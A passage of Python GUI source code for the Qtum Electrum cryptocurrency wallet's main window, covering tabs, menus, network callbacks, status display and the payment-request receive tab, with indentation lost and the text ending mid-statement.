if self.config.get('show_{}_tab'.format(name), False):
tabs.addTab(tab, icon, description.replace("&", ""))
add_optional_tab(tabs, self.addresses_tab, QIcon(":icons/tab_addresses.png"), _("&Addresses"), "addresses")
add_optional_tab(tabs, self.utxo_tab, QIcon(":icons/tab_coins.png"), _("Co&ins"), "utxo")
add_optional_tab(tabs, self.console_tab, QIcon(":icons/tab_console.png"), _("Con&sole"), "console")
add_optional_tab(tabs, self.contacts_tab, QIcon(":icons/tab_contracts.png"), _("Con&tacts"), "contacts")
add_optional_tab(tabs, self.smart_contract_tab, QIcon(":icons/tab_console.png"), _('Smart Contract'),
'contract')
tabs.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)
self.setCentralWidget(tabs)
if self.config.get("is_maximized"):
self.showMaximized()
self.setWindowIcon(QIcon(":icons/electrum.png"))
self.init_menubar()
wrtabs = weakref.proxy(tabs)
QShortcut(QKeySequence("Ctrl+W"), self, self.close)
QShortcut(QKeySequence("Ctrl+Q"), self, self.close)
QShortcut(QKeySequence("Ctrl+R"), self, self.update_wallet)
QShortcut(QKeySequence("Ctrl+PgUp"), self, lambda: wrtabs.setCurrentIndex((wrtabs.currentIndex() - 1)%wrtabs.count()))
QShortcut(QKeySequence("Ctrl+PgDown"), self, lambda: wrtabs.setCurrentIndex((wrtabs.currentIndex() + 1)%wrtabs.count()))
for i in range(wrtabs.count()):
QShortcut(QKeySequence("Alt+" + str(i + 1)), self, lambda i=i: wrtabs.setCurrentIndex(i))
self.payment_request_ok_signal.connect(self.payment_request_ok)
self.payment_request_error_signal.connect(self.payment_request_error)
self.history_list.setFocus(True)
# network callbacks
if self.network:
self.network_signal.connect(self.on_network_qt)
interests = ['wallet_updated', 'network_updated', 'blockchain_updated', 'new_transaction', 'status',
'banner', 'verified', 'fee']
# To avoid leaking references to "self" that prevent the
# window from being GC-ed when closed, callbacks should be
# methods of this class only, and specifically not be
# partials, lambdas or methods of subobjects. Hence...
self.network.register_callback(self.on_network, interests)
# set initial message
self.console.showMessage(self.network.banner)
self.network.register_callback(self.on_quotes, ['on_quotes'])
self.network.register_callback(self.on_history, ['on_history'])
self.network.register_callback(self.on_token, ['on_token'])
self.new_fx_quotes_signal.connect(self.on_fx_quotes)
self.new_fx_history_signal.connect(self.on_fx_history)
self.new_fx_token_signal.connect(self.on_fx_token)
# update fee slider in case we missed the callback
self.fee_slider.update()
self.load_wallet(wallet)
self.connect_slots(gui_object.timer)
self.fetch_alias()
def on_history(self, b):
self.new_fx_history_signal.emit()
def setup_exception_hook(self):
Exception_Hook(self)
def on_fx_history(self):
self.history_list.refresh_headers()
self.history_list.update()
self.address_list.update()
def on_quotes(self, b):
self.new_fx_quotes_signal.emit()
def on_fx_quotes(self):
self.update_status()
# Refresh edits with the new rate
edit = self.fiat_send_e if self.fiat_send_e.is_last_edited else self.amount_e
edit.textEdited.emit(edit.text())
edit = self.fiat_receive_e if self.fiat_receive_e.is_last_edited else self.receive_amount_e
edit.textEdited.emit(edit.text())
# History tab needs updating if it used spot
if self.fx.history_used_spot:
self.history_list.update()
def on_token(self, b):
self.new_fx_token_signal.emit()
def on_fx_token(self):
self.token_balance_list.update()
self.token_hist_list.update()
def toggle_tab(self, tab):
show = not self.config.get('show_{}_tab'.format(tab.tab_name), False)
self.config.set_key('show_{}_tab'.format(tab.tab_name), show)
item_text = (_("Hide") if show else _("Show")) + " " + tab.tab_description
tab.menu_action.setText(item_text)
if show:
# Find out where to place the tab
index = len(self.tabs)
for i in range(len(self.tabs)):
try:
if tab.tab_pos < self.tabs.widget(i).tab_pos:
index = i
break
except AttributeError:
pass
self.tabs.insertTab(index, tab, tab.tab_icon, tab.tab_description.replace("&", ""))
else:
i = self.tabs.indexOf(tab)
self.tabs.removeTab(i)
def push_top_level_window(self, window):
'''Used for e.g. tx dialog box to ensure new dialogs are appropriately
parented. This used to be done by explicitly providing the parent
window, but that isn't something hardware wallet prompts know.'''
self.tl_windows.append(window)
def pop_top_level_window(self, window):
self.tl_windows.remove(window)
def top_level_window(self, test_func=None):
'''Do the right thing in the presence of tx dialog windows'''
override = self.tl_windows[-1] if self.tl_windows else None
if override and test_func and not test_func(override):
override = None # only override if ok for test_func
return self.top_level_window_recurse(override, test_func)
def diagnostic_name(self):
return "%s/%s" % (PrintError.diagnostic_name(self),
self.wallet.basename() if self.wallet else "None")
def is_hidden(self):
return self.isMinimized() or self.isHidden()
def show_or_hide(self):
if self.is_hidden():
self.bring_to_top()
else:
self.hide()
def bring_to_top(self):
self.show()
self.raise_()
def on_error(self, exc_info):
if not isinstance(exc_info[1], UserCancelled):
try:
traceback.print_exception(*exc_info)
except OSError:
pass
self.show_error(str(exc_info[1]))
def on_network(self, event, *args):
if event == 'wallet_updated':
wallet = args[0]
if wallet == self.wallet:
self.need_update.set()
elif event == 'network_updated':
self.gui_object.network_updated_signal_obj.network_updated_signal \
.emit(event, args)
self.network_signal.emit('status', None)
elif event == 'blockchain_updated':
# to update number of confirmations in history
self.need_update.set()
elif event == 'new_transaction':
wallet, tx = args
if wallet == self.wallet:
self.tx_notification_queue.put(tx)
elif event in ['status', 'banner', 'verified', 'fee']:
# Handle in GUI thread
self.network_signal.emit(event, args)
else:
self.print_error("unexpected network message:", event, args)
def on_network_qt(self, event, args=None):
# Handle a network message in the GUI thread
if event == 'status':
self.update_status()
elif event == 'banner':
self.console.showMessage(args[0])
elif event == 'verified':
wallet, tx_hash, tx_mined_status = args
if wallet == self.wallet:
self.history_list.update_item(tx_hash, tx_mined_status)
elif event == 'fee':
if self.config.is_dynfee():
self.fee_slider.update()
self.do_update_fee()
else:
self.print_error("unexpected network_qt signal:", event, args)
def fetch_alias(self):
self.alias_info = None
alias = self.config.get('alias')
if alias:
alias = str(alias)
def f():
self.alias_info = self.contacts.resolve_openalias(alias)
self.alias_received_signal.emit()
t = threading.Thread(target=f)
t.setDaemon(True)
t.start()
def close_wallet(self):
if self.wallet:
self.print_error('close_wallet', self.wallet.storage.path)
run_hook('close_wallet', self.wallet)
@profiler
def load_wallet(self, wallet):
wallet.thread = TaskThread(self, self.on_error)
self.update_recently_visited(wallet.storage.path)
# update(==init) all tabs; expensive for large wallets..
# so delay it somewhat, hence __init__ can finish and the window can appear sooner
QTimer.singleShot(50, self.update_tabs)
self.need_update.set()
# Once GUI has been initialized check if we want to announce something since the callback has been called before the GUI was initialized
# update menus
self.seed_menu.setEnabled(self.wallet.has_seed())
self.update_lock_icon()
self.update_buttons_on_seed()
self.update_console()
self.clear_receive_tab()
self.request_list.update()
self.tabs.show()
self.init_geometry()
if self.config.get('hide_gui') and self.gui_object.tray.isVisible():
self.hide()
else:
self.show()
self.watching_only_changed()
run_hook('load_wallet', wallet, self)
def init_geometry(self):
winpos = self.wallet.storage.get("winpos-qt")
try:
screen = self.app.desktop().screenGeometry()
assert screen.contains(QRect(*winpos))
self.setGeometry(*winpos)
except:
self.print_error("using default geometry")
self.setGeometry(100, 100, 780, 400)
def watching_only_changed(self):
title = 'Electrum for Qtum <Beta> %s - %s' % (self.wallet.electrum_version,
self.wallet.basename())
extra = [self.wallet.storage.get('wallet_type', '?')]
if self.wallet.is_watching_only():
# self.warn_if_watching_only()
extra.append(_('watching only'))
title += ' [%s]'% ', '.join(extra)
if constants.net.TESTNET:
title += ' - {}'.format(_('testnet'))
self.setWindowTitle(title)
self.password_menu.setEnabled(self.wallet.may_have_password())
self.import_privkey_menu.setVisible(self.wallet.can_import_privkey())
self.import_address_menu.setVisible(self.wallet.can_import_address())
self.export_menu.setEnabled(self.wallet.can_export())
def warn_if_watching_only(self):
if self.wallet.is_watching_only():
msg = ' '.join([
_("This wallet is watching-only."),
_("This means you will not be able to spend qtums with it."),
_("Make sure you own the seed phrase or the private keys, before you request Qtums to be sent to this wallet.")
])
self.show_warning(msg, title=_('Information'))
def open_wallet(self):
try:
wallet_folder = self.get_wallet_folder()
except FileNotFoundError as e:
self.show_error(str(e))
return
filename, __ = QFileDialog.getOpenFileName(self, _("Select your wallet file"), wallet_folder)
if not filename:
return
self.gui_object.new_window(filename)
def backup_wallet(self):
path = self.wallet.storage.path
wallet_folder = os.path.dirname(path)
filename, __ = QFileDialog.getSaveFileName(self, _('Enter a filename for the copy of your wallet'), wallet_folder)
if not filename:
return
new_path = os.path.join(wallet_folder, filename)
if new_path != path:
try:
shutil.copy2(path, new_path)
self.show_message(_("A copy of your wallet file was created in")+" '%s'" % str(new_path), title=_("Wallet backup created"))
except (BaseException,) as reason:
self.show_critical(_("Electrum was unable to copy your wallet file to the specified location.") + "\n" + str(reason), title=_("Unable to create backup"))
def update_recently_visited(self, filename):
recent = self.config.get('recently_open', [])
try:
sorted(recent)
except:
recent = []
if filename in recent:
recent.remove(filename)
recent.insert(0, filename)
recent = [path for path in recent if os.path.exists(path)]
recent = recent[:5]
self.config.set_key('recently_open', recent)
self.recently_visited_menu.clear()
for i, k in enumerate(sorted(recent)):
b = os.path.basename(k)
def loader(k):
return lambda: self.gui_object.new_window(k)
self.recently_visited_menu.addAction(b, loader(k)).setShortcut(QKeySequence("Ctrl+%d"%(i+1)))
self.recently_visited_menu.setEnabled(len(recent))
def get_wallet_folder(self):
return os.path.dirname(os.path.abspath(self.config.get_wallet_path()))
def new_wallet(self):
try:
wallet_folder = self.get_wallet_folder()
except FileNotFoundError as e:
self.show_error(str(e))
return
i = 1
while True:
filename = "wallet_%d" % i
if filename in os.listdir(wallet_folder):
i += 1
else:
break
full_path = os.path.join(wallet_folder, filename)
self.gui_object.start_new_window(full_path, None)
def init_menubar(self):
menubar = QMenuBar()
file_menu = menubar.addMenu(_("&File"))
self.recently_visited_menu = file_menu.addMenu(_("&Recently open"))
file_menu.addAction(_("&Open"), self.open_wallet).setShortcut(QKeySequence.Open)
file_menu.addAction(_("&New/Restore"), self.new_wallet).setShortcut(QKeySequence.New)
file_menu.addAction(_("&Save Copy"), self.backup_wallet).setShortcut(QKeySequence.SaveAs)
file_menu.addSeparator()
file_menu.addAction(_("&Quit"), self.close)
wallet_menu = menubar.addMenu(_("&Wallet"))
wallet_menu.addAction(_("&Information"), self.show_master_public_keys)
wallet_menu.addSeparator()
self.password_menu = wallet_menu.addAction(_("&Password"), self.change_password_dialog)
self.seed_menu = wallet_menu.addAction(_("&Seed"), self.show_seed_dialog)
self.private_keys_menu = wallet_menu.addMenu(_("&Private keys"))
self.private_keys_menu.addAction(_("&Sweep"), self.sweep_key_dialog)
self.import_privkey_menu = self.private_keys_menu.addAction(_("&Import"), self.do_import_privkey)
self.export_menu = self.private_keys_menu.addAction(_("&Export"), self.export_privkeys_dialog)
self.import_address_menu = wallet_menu.addAction(_("Import addresses"), self.import_addresses)
wallet_menu.addSeparator()
address_menu = wallet_menu.addMenu(_("&Addresses"))
address_menu.addAction(_("&Filter"), lambda: self.address_list.show_toolbar(True))
labels_menu = wallet_menu.addMenu(_("&Labels"))
labels_menu.addAction(_("&Import"), self.do_import_labels)
labels_menu.addAction(_("&Export"), self.do_export_labels)
hist_menu = wallet_menu.addMenu(_("&History"))
hist_menu.addAction(_("&Filter"), lambda: self.history_list.show_toolbar(True))
hist_menu.addAction("Plot", self.plot_history_dialog).setEnabled(plot_history is not None)
hist_menu.addAction("Export", self.export_history_dialog)
contacts_menu = wallet_menu.addMenu(_("Contacts"))
contacts_menu.addAction(_("&New"), self.new_contact_dialog)
contacts_menu.addAction(_("Import"), lambda: self.contact_list.import_contacts())
contacts_menu.addAction(_("Export"), lambda: self.contact_list.export_contacts())
invoices_menu = wallet_menu.addMenu(_("Invoices"))
invoices_menu.addAction(_("Import"), lambda: self.invoice_list.import_invoices())
invoices_menu.addAction(_("Export"), lambda: self.invoice_list.export_invoices())
token_menu = wallet_menu.addMenu(_("Token"))
token_menu.addAction(_("Add Token"), lambda: self.token_add_dialog())
wallet_menu.addSeparator()
wallet_menu.addAction(_("Find"), self.toggle_search).setShortcut(QKeySequence("Ctrl+F"))
def add_toggle_action(view_menu, tab):
is_shown = self.config.get('show_{}_tab'.format(tab.tab_name), False)
item_name = (_("Hide") if is_shown else _("Show")) + " " + tab.tab_description
tab.menu_action = view_menu.addAction(item_name, lambda: self.toggle_tab(tab))
view_menu = menubar.addMenu(_("&View"))
add_toggle_action(view_menu, self.addresses_tab)
add_toggle_action(view_menu, self.utxo_tab)
add_toggle_action(view_menu, self.console_tab)
add_toggle_action(view_menu, self.contacts_tab)
add_toggle_action(view_menu, self.smart_contract_tab)
tools_menu = menubar.addMenu(_("&Tools"))
# Settings / Preferences are all reserved keywords in OSX using this as work around
tools_menu.addAction(_("Electrum preferences") if sys.platform == 'darwin' else _("Preferences"), self.settings_dialog)
tools_menu.addAction(_("&Network"), lambda: self.gui_object.show_network_dialog(self))
tools_menu.addAction(_("&Plugins"), self.plugins_dialog)
tools_menu.addSeparator()
tools_menu.addAction(_("&Sign/verify message"), self.sign_verify_message)
tools_menu.addAction(_("&Encrypt/decrypt message"), self.encrypt_message)
tools_menu.addSeparator()
paytomany_menu = tools_menu.addAction(_("&Pay to many"), self.paytomany)
raw_transaction_menu = tools_menu.addMenu(_("&Load transaction"))
raw_transaction_menu.addAction(_("&From file"), self.do_process_from_file)
raw_transaction_menu.addAction(_("&From text"), self.do_process_from_text)
raw_transaction_menu.addAction(_("&From the blockchain"), self.do_process_from_txid)
raw_transaction_menu.addAction(_("&From QR code"), self.read_tx_from_qrcode)
self.raw_transaction_menu = raw_transaction_menu
run_hook('init_menubar_tools', self, tools_menu)
help_menu = menubar.addMenu(_("&Help"))
help_menu.addAction(_("&About"), self.show_about)
help_menu.addAction(_("&Official website"),
lambda: open_browser("https://github.com/qtumproject/qtum-electrum/"))
help_menu.addSeparator()
help_menu.addAction(_("&Documentation"), lambda: open_browser("http://docs.electrum.org/")).setShortcut(
QKeySequence.HelpContents)
help_menu.addAction(_("&Report Bug"), self.show_report_bug)
help_menu.addSeparator()
# help_menu.addAction(_("&Donate to server"), self.donate_to_server)
self.setMenuBar(menubar)
def donate_to_server(self):
d = self.network.get_donation_address()
if d:
host = self.network.get_parameters()[0]
self.pay_to_URI('qtum:%s?message=donation for %s'%(d, host))
else:
self.show_error(_('No donation address for this server'))
def show_about(self):
QMessageBox.about(self, "Qtum Electrum",
_("Version") +" %s" % (self.wallet.electrum_version) + "\n\n" +
_(
"This software is based on Electrum to support Qtum. Qtum Electrum's focus is speed, with low resource usage and simplifying Qtum. You do not need to perform regular backups, because your wallet can be recovered from a secret phrase that you can memorize or write on paper. Startup times are instant because it operates in conjunction with high-performance servers that handle the most complicated parts of the Bitcoin system." + "\n\n" +
_("Uses icons from the Icons8 icon pack (icons8.com).")))
def show_report_bug(self):
msg = ' '.join([
_("Please report any bugs as issues on github:<br/>"),
"<a href=\"https://github.com/qtumproject/qtum-electrum/issues\">https://github.com/qtumproject/qtum-electrum/issues</a><br></br>",
_("Before reporting a bug, upgrade to the most recent version of Electrum (latest release or git HEAD), and include the version number in your report."),
_("Try to explain not only what the bug is, but how it occurs.")
])
self.show_message(msg, title="Qtum Electrum - " + _("Reporting Bugs"))
def notify_transactions(self):
if self.tx_notification_queue.qsize() == 0:
return
if not self.wallet.up_to_date:
return # no notifications while syncing
now = time.time()
rate_limit = 20 # seconds
if self.tx_notification_last_time + rate_limit > now:
return
self.tx_notification_last_time = now
self.print_error("Notifying GUI")
txns = []
while True:
try:
txns.append(self.tx_notification_queue.get_nowait())
except queue.Empty:
break
# Combine the transactions if there are at least three
if len(txns) >=3:
total_amount = 0
for tx in txns:
is_relevant, is_mine, v, fee = self.wallet.get_wallet_delta(tx)
if is_relevant:
total_amount += v
self.notify(_("{} new transactions received: Total amount received in the new transactions {}")
.format(len(txns), self.format_amount_and_units(total_amount)))
else:
for tx in txns:
is_relevant, is_mine, v, fee = self.wallet.get_wallet_delta(tx)
if is_relevant:
self.notify(_("New transaction received: {}").format(self.format_amount_and_units(v)))
def notify(self, message):
if self.tray:
self.tray.showMessage("Qtum Electrum", message, QSystemTrayIcon.Information, 20000)
# custom wrappers for getOpenFileName and getSaveFileName, that remember the path selected by the user
def getOpenFileName(self, title, filter = ""):
directory = self.config.get('io_dir', os.path.expanduser('~'))
fileName, __ = QFileDialog.getOpenFileName(self, title, directory, filter)
if fileName and directory != os.path.dirname(fileName):
self.config.set_key('io_dir', os.path.dirname(fileName), True)
return fileName
def getSaveFileName(self, title, filename, filter = ""):
directory = self.config.get('io_dir', os.path.expanduser('~'))
path = os.path.join( directory, filename )
fileName, __ = QFileDialog.getSaveFileName(self, title, path, filter)
if fileName and directory != os.path.dirname(fileName):
self.config.set_key('io_dir', os.path.dirname(fileName), True)
return fileName
def connect_slots(self, sender):
sender.timer_signal.connect(self.timer_actions)
def timer_actions(self):
# Note this runs in the GUI thread
if self.need_update.is_set():
self.need_update.clear()
self.update_wallet()
# resolve aliases
self.payto_e.resolve()
# update fee
if self.require_fee_update:
self.do_update_fee()
self.require_fee_update = False
self.notify_transactions()
def format_amount(self, x, is_diff=False, whitespaces=False):
return format_satoshis(x, self.num_zeros, self.decimal_point, is_diff=is_diff, whitespaces=whitespaces)
def format_amount_and_units(self, amount):
text = self.format_amount(amount) + ' '+ self.base_unit()
x = self.fx.format_amount_and_units(amount) if self.fx else None
if text and x:
text += ' (%s)'%x
return text
def format_fee_rate(self, fee_rate):
return format_fee_satoshis(fee_rate/1000, self.num_zeros) + ' sat/byte'
def get_decimal_point(self):
return self.decimal_point
def base_unit(self):
assert self.decimal_point in [2, 5, 8]
if self.decimal_point == 2:
return 'bits'
if self.decimal_point == 5:
return 'mQTUM'
if self.decimal_point == 8:
return 'QTUM'
raise Exception('Unknown base unit')
def connect_fields(self, window, btc_e, fiat_e, fee_e):
def edit_changed(edit):
if edit.follows:
return
edit.setStyleSheet(BLACK_FG)
fiat_e.is_last_edited = (edit == fiat_e)
amount = edit.get_amount()
rate = self.fx.exchange_rate() if self.fx else Decimal('NaN')
if not rate or rate.is_nan() or amount is None:
if edit is fiat_e:
btc_e.setText("")
if fee_e:
fee_e.setText("")
else:
fiat_e.setText("")
else:
if edit is fiat_e:
btc_e.follows = True
btc_e.setAmount(int(amount / Decimal(rate) * COIN))
btc_e.setStyleSheet(BLUE_FG)
btc_e.follows = False
if fee_e:
window.update_fee()
else:
fiat_e.follows = True
fiat_e.setText(self.fx.ccy_amount_str(
amount * Decimal(rate) / COIN, False))
fiat_e.setStyleSheet(BLUE_FG)
fiat_e.follows = False
btc_e.follows = False
fiat_e.follows = False
fiat_e.textChanged.connect(partial(edit_changed, fiat_e))
btc_e.textChanged.connect(partial(edit_changed, btc_e))
fiat_e.is_last_edited = False
def update_status(self):
if not self.wallet:
return
if self.network is None or not self.network.is_running():
text = _("Offline")
icon = QIcon(":icons/status_disconnected.png")
elif self.network.is_connected():
server_height = self.network.get_server_height()
server_lag = self.network.get_local_height() - server_height
# Server height can be 0 after switching to a new server
# until we get a headers subscription request response.
# Display the synchronizing message in that case.
if not self.wallet.up_to_date or server_height == 0:
text = _("Synchronizing...")
icon = QIcon(":icons/status_waiting.png")
elif server_lag > 1:
text = _("Server is lagging (%d blocks)"%server_lag)
icon = QIcon(":icons/status_lagging.png")
else:
c, u, x = self.wallet.get_balance()
text = _("Balance") + ": %s " % (self.format_amount_and_units(c))
if u:
text += " [%s unconfirmed]" % (self.format_amount(u, True).strip())
if x:
text += " [%s unmatured]" % (self.format_amount(x, True).strip())
# append fiat balance and price
if self.fx.is_enabled():
text += self.fx.get_fiat_status_text(c + u + x,
self.base_unit(), self.get_decimal_point()) or ''
if not self.network.proxy:
icon = QIcon(":icons/status_connected.png")
else:
icon = QIcon(":icons/status_connected_proxy.png")
else:
text = _("Not connected")
icon = QIcon(":icons/status_disconnected.png")
self.tray.setToolTip("%s (%s)" % (text, self.wallet.basename()))
self.balance_label.setText(text)
self.status_button.setIcon( icon )
def update_wallet(self):
self.update_status()
if self.wallet.up_to_date or not self.network or not self.network.is_connected():
self.update_tabs()
def update_tabs(self):
self.history_list.update()
self.request_list.update()
self.address_list.update()
self.utxo_list.update()
self.contact_list.update()
self.token_balance_list.update()
self.token_hist_list.update()
self.smart_contract_list.update()
self.invoice_list.update()
self.update_completions()
def create_history_tab(self):
from .history_list import HistoryList
self.history_list = l = HistoryList(self)
l.searchable_list = l
return self.create_list_tab(l, l.create_toolbar())
def show_address(self, addr):
from . import address_dialog
d = address_dialog.AddressDialog(self, addr)
d.exec_()
def show_transaction(self, tx, tx_desc = None):
'''tx_desc is set only for txs created in the Send tab'''
show_transaction(self.config, tx, self, tx_desc)
def create_receive_tab(self):
# A 4-column grid layout. All the stretch is in the last column.
# The exchange rate plugin adds a fiat widget in column 2
self.receive_grid = grid = QGridLayout()
grid.setSpacing(8)
grid.setColumnStretch(3, 1)
self.receive_address_e = ButtonsLineEdit()
self.receive_address_e.addCopyButton(self.app)
self.receive_address_e.setReadOnly(True)
msg = _(
'Qtum address where the payment should be received. Note that each payment request uses a different Bitcoin address.')
self.receive_address_label = HelpLabel(_('Receiving address'), msg)
self.receive_address_e.textChanged.connect(self.update_receive_qr)
self.receive_address_e.setFocusPolicy(Qt.ClickFocus)
grid.addWidget(self.receive_address_label, 0, 0)
grid.addWidget(self.receive_address_e, 0, 1, 1, -1)
self.receive_message_e = QLineEdit()
grid.addWidget(QLabel(_('Description')), 1, 0)
grid.addWidget(self.receive_message_e, 1, 1, 1, -1)
self.receive_message_e.textChanged.connect(self.update_receive_qr)
self.receive_amount_e = BTCAmountEdit(self.get_decimal_point)
grid.addWidget(QLabel(_('Requested amount')), 2, 0)
grid.addWidget(self.receive_amount_e, 2, 1)
self.receive_amount_e.textChanged.connect(self.update_receive_qr)
self.fiat_receive_e = AmountEdit(self.fx.get_currency if self.fx else '')
if not self.fx or not self.fx.is_enabled():
self.fiat_receive_e.setVisible(False)
grid.addWidget(self.fiat_receive_e, 2, 2, Qt.AlignLeft)
self.connect_fields(self, self.receive_amount_e, self.fiat_receive_e, None)
self.expires_combo = QComboBox()
self.expires_combo.addItems([i[0] for i in expiration_values])
self.expires_combo.setCurrentIndex(3)
self.expires_combo.setFixedWidth(self.receive_amount_e.width())
msg = ' '.join([
_('Expiration date of your request.'),
_('This information is seen by the recipient if you send them a signed payment request.'),
_('Expired requests have to be deleted manually from your list, in order to free the corresponding Qtum addresses.'),
_('The Qtum address never expires and will always be part of this wallet.'),
])
grid.addWidget(HelpLabel(_('Request expires'), msg), 3, 0)
grid.addWidget(self.expires_combo, 3, 1)
self.expires_label = QLineEdit('')
self.expires_label.setReadOnly(1)
self.expires_label.setFocusPolicy(Qt.NoFocus)
self.expires_label.hide()
grid.addWidget(self.expires_label, 3, 1)
self.save_request_button = QPushButton(_('Save'))
self.save_request_button.clicked.connect(self.save_payment_request)
self.new_request_button = QPushButton(_('New'))
self.new_request_button.clicked.connect(self.new_payment_request)
self.receive_qr = QRCodeWidget(fixedSize=200)
self.receive_qr.mouseReleaseEvent = lambda x: self.toggle_qr_window()
self.receive_qr.enterEvent = lambda x: self.app.setOverrideCursor(QCursor(Qt.PointingHandCursor))
self.receive_qr.leaveEvent = lambda x: self.app.setOverrideCursor(QCursor(Qt.ArrowCursor))
self.receive_buttons = buttons = QHBoxLayout()
buttons.addStretch(1)
buttons.addWidget(self.save_request_button)
buttons.addWidget(self.new_request_button)
grid.addLayout(buttons, 4, 1, 1, 2)
self.receive_requests_label = QLabel(_('Requests'))
from .request_list import RequestList
self.request_list = RequestList(self)
# layout
vbox_g = QVBoxLayout()
vbox_g.addLayout(grid)
vbox_g.addStretch()
hbox = QHBoxLayout()
hbox.addLayout(vbox_g)
hbox.addWidget(self.receive_qr)
w = QWidget()
w.searchable_list = self.request_list
vbox = QVBoxLayout(w)
vbox.addLayout(hbox)
vbox.addStretch(1)
vbox.addWidget(self.receive_requests_label)
vbox.addWidget(self.request_list)
vbox.setStretchFactor(self.request_list, 1000)
return w
def delete_payment_request(self, addr):
self.wallet.remove_payment_request(addr, self.config)
self.request_list.update()
self.clear_receive_tab()
def get_request_URI(self, addr):
req = self.wallet.receive_requests[addr]
message = self.wallet.labels.get(addr, '')
amount = req['amount']
URI = util.create_URI(addr, amount, message)
if req.get('time'):
URI += "&time=%d"%req.get('time')
if req.get('exp'):
URI += "&exp=%d"%req.get('exp')
if req.get('name') and req.get('sig'):
sig = bfh(req.get('sig'))
sig = bitcoin.base_encode(sig, base=58)
URI += "&name=" + req['name'] + "&sig="+sig
return str(URI)
def sign_payment_request(self, addr):
alias = self.config.get('alias')
alias_privkey = None
if alias and self.alias_info:
alias_addr, alias_name, validated = self.alias_info
if alias_addr:
if self.wallet.is_mine(alias_addr):
msg = _('This payment request will be signed.') + '\n' + _('Please enter your password')
password = None
if self.wallet.has_keystore_encryption():
password = self.password_dialog(msg)
if not password:
return
try:
self.wallet.sign_payment_request(addr, alias, alias_addr, password)
except Exception as e:
self.show_error(str(e))
return
else:
return
def save_payment_request(self):
addr = str(self.receive_address_e.text())
amount = self.receive_amount_e.get_amount()
message = self.receive_message_e.text()
if not message and not amount:
self.show_error(_('No message or amount'))
return False
i = self.expires_combo.currentIndex()
expiration = list(map(lambda x: x[1], expiration_values))[i]
req = self.wallet.make_payment_request(addr, amount, message, expiration)
try:
self.wallet.add_payment_request(req, self.config)
except Exception as e:
traceback.print_exc(file=sys.stderr)
self.show_error(_('Error adding payment request') + ':\n' + str(e))
else:
self.sign_payment_request(addr)
self.save_request_button.setEnabled(False)
finally:
self.request_list.update()
self.address_list.update()
def view_and_paste(self, title, msg, data):
dialog = WindowModalDialog(self, title)
vbox = QVBoxLayout()
label = QLabel(msg)
label.setWordWrap(True)
vbox.addWidget(label)
pr_e = ShowQRTextEdit(text=data)
vbox.addWidget(pr_e)
vbox.addLayout(Buttons(CopyCloseButton(pr_e.text, self.app, dialog)))
dialog.setLayout(vbox)
dialog.exec_()
def export_payment_request(self, addr):
r = self.wallet.receive_requests.get(addr)
pr = paymentrequest.serialize_request(r).SerializeToString()
name = r['id'] + '.bip70'
fileName = self.getSaveFileName(_("Select where to save your payment request"), name, "*.bip70")
if fileName:
with open(fileName, "wb+") as f:
f.write(util.to_bytes(pr))
self.show_message(_("Request saved successfully"))
self.saved = True
def new_payment_request(self):
addr = self.wallet.get_unused_address()
if addr is None:
if not self.wallet.is_deterministic():
msg = [
_('No more addresses in your wallet.'),
_('You are using a non-deterministic wallet, which cannot create new addresses.'),
_('If you want to create new addresses, use a deterministic wallet instead.')
]
self.show_message(' '.join(msg))
return
if not self.question(_("Warning: The next address will not be recovered automatically if you restore your wallet from seed; you may need to add it manually.\n\nThis occurs because you have too many unused addresses in your wallet. To avoid this situation, use the existing addresses first.\n\nCreate anyway?")):
return
addr = self.wallet.create_new_address(False)
self.set_receive_address(addr)
self.expires_label.hide()
self.expires_combo.show()
self.new_request_button.setEnabled(False)
self.receive_message_e.setFocus(1)
def set_receive_address(self, addr):
self.receive_address_e.setText(addr)
self.receive_message_e.setText('')
self.receive_amount_e.setAmount(None)
def clear_receive_tab(self):
addr = self.wallet.get_receiving_address() or ''
self.receive_address_e.setText(addr)
self.receive_message_e.setText('')
self.receive_amount_e.setAmount(None)
self.expires_label.hide()
self.expires_combo.show()
def toggle_qr_window(self):
from . import qrwindow
if not self.qr_window:
self.qr_window = qrwindow.QR_Window(self)
self.qr_window.setVisible(True)
self.qr_window_geometry = self.qr_window.geometry()
else:
if not self.qr_window.isVisible():
self.qr_window.setVisible(True)
self.qr_window.setGeometry(self.qr_window_geometry)
else:
self.qr_window_geometry = self.qr_window.geometry()
self.qr_window.setVisible(False)
self.update_receive_qr()
def show_send_tab(self):
self.tabs.setCurrentIndex(self.tabs.indexOf(self.send_tab))
def show_receive_tab(self):
self.tabs.setCurrentIndex(self.tabs.indexOf(self.receive_tab))
def receive_at(self, addr):
if not bitcoin.is_address(addr):
return
self.show_receive_tab()
self.receive_address_e.setText(addr)
self.new_request_button.setEnabled(True)
def update_receive_qr(self):
addr = str(self.receive_address_e.text())
amount = self.receive_amount_e.get_amount()
message = self.receive_message_e.text()
self.save_request_button.setEnabled((amount is not None) or (message != ""))
uri = util.create_URI(addr, amount, message)
self.receive_qr.setData(uri)
if self.qr_window and self.qr_window.isVisible():
self.qr_window.set_content(addr, amount, message, uri)
def create_send_tab(self):
# A 4-column grid layout. All the stretch is in the last column.
# The exchange rate plugin adds a fiat widget in column 2
self.send_grid = grid = QGridLayout()
grid.setSpacing(8)
grid.setColumnStretch(3, 1)
from .paytoedit import PayToEdit
self.amount_e = BTCAmountEdit(self.get_decimal_point)
self.payto_e = PayToEdit(self)
msg = _('Recipient of the funds.') + '\n\n' \
+ _(
'You may enter a QTUM address, a label from your list of contacts (a list of completions will be proposed), or an alias (email-like address that forwards to a Qtum address)')
payto_label = HelpLabel(_('Pay to'), msg)
grid.addWidget(payto_label, 1, 0)
grid.addWidget(self.payto_e, 1, 1, 1, -1)
completer = QCompleter()
completer.setCaseSensitivity(False)
self.payto_e.set_completer(completer)
completer.setModel(self.completions)
msg = _('Description of the transaction (not mandatory).') + '\n\n'\
+ _('The description is not sent to the recipient of the funds. It is stored in your wallet file, and displayed in the \'History\' tab.')
description_label = HelpLabel(_('Description'), msg)
grid.addWidget(description_label, 2, 0)
self.message_e = MyLineEdit()
grid.addWidget(self.message_e, 2, 1, 1, -1)
self.from_label = QLabel(_('From'))
grid.addWidget(self.from_label, 3, 0)
self.from_list = MyTreeWidget(self, self.from_list_menu, ['',''])
self.from_list.setHeaderHidden(True)
self.from_list.setMaximumHeight(80)
grid.addWidget(self.from_list, 3, 1, 1, -1)
self.set_pay_from([])
msg = _('Amount to be sent.') + '\n\n' \
+ _('The amount will be displayed in red if you do not have enough funds in your wallet.') + ' ' \
